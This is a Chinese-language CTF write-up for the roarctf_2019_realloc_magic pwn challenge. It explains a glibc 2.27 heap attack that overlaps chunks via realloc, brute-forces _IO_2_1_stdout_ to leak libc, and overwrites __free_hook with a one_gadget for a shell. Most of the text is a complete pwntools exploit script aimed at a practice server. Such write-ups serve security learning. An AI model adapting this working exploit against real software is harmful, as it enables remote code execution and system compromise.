【pwn】 roarctf_2019_realloc_magic

例行检查
在这里插入图片描述保护全开,分析程序逻辑。发现没有输出堆内容的函数,想要泄露libc地址只能通过修改IO_FILE结构体实现。realloc函数有两个trick。在size为0时,free掉指针指向的堆块,返回0;在分配超过当前指针指向堆块大小时如果有剩余空间则扩大堆块大小。

利用思路
1.堆块free 8次放进unsortbin中,在fd上得到arena地址,通过realloc扩大堆块的特性造成堆块堆叠,就可以修改到fd部分,由于_IO_2_1_stdout_与arena只相差4位,且低三位已知,剩余一位可以爆破,概率1/16。于时可以分配到_IO_2_1_stdout_。修改flag位,且把write_base调低,下次在调用输出函数时会将libc中地址输出出来。
2.得到libc之后就可以将free_hook改为one_gadget从而getshell。

from pwn import *


libc=ELF('./libc-2.27.so')

def realloc(size,data):
    io.recvuntil('>> ')
    io.sendline('1')
    io.recvuntil('Size?')
    io.sendline(str(size))
    io.recvuntil('Content?')
    io.send(data)

def free():
    io.recvuntil('>> ')
    io.sendline('2')  

def pwn():
    realloc(0x70,'a')
    realloc(0,'')
    realloc(0x100,'b')
    realloc(0,'')
    realloc(0xa0,'c')
    realloc(0,'')

    realloc(0x100,'b')
    [free() for i in range(7)] #fill tcache
    realloc(0,'') #to unsortbin fd->arena
    realloc(0x70,'a')
    realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap

    realloc(0,'')
    realloc(0x100,'a')
    realloc(0,'')
    realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_  修改flag和write_base
    
    #get_libc
    libc_base=u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-0x3e82a0 #这里偏移可以自己选
    if libc_base == -0x3e82a0:
        exit(-1)
    print(hex(libc_base))
    free_hook=libc_base+libc.sym['__free_hook']
    one_gadget=libc_base + 0x4f322

    io.sendline('666')
    realloc(0x120,'a')
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x170,'a')
    realloc(0,'')
    
    realloc(0x130,'a')
    [free() for i in range(7)]
    realloc(0,'')

    realloc(0x120,'a')
    realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook))
    realloc(0,'')
    realloc(0x130,'a')
    realloc(0,'')
    realloc(0x130,p64(one_gadget))
    io.interactive()


if __name__ == "__main__":
    while True:
        io=remote('node3.buuoj.cn',27869)
        try:
            pwn()
        except:
            io.close()

你可能感兴趣的:(pwn)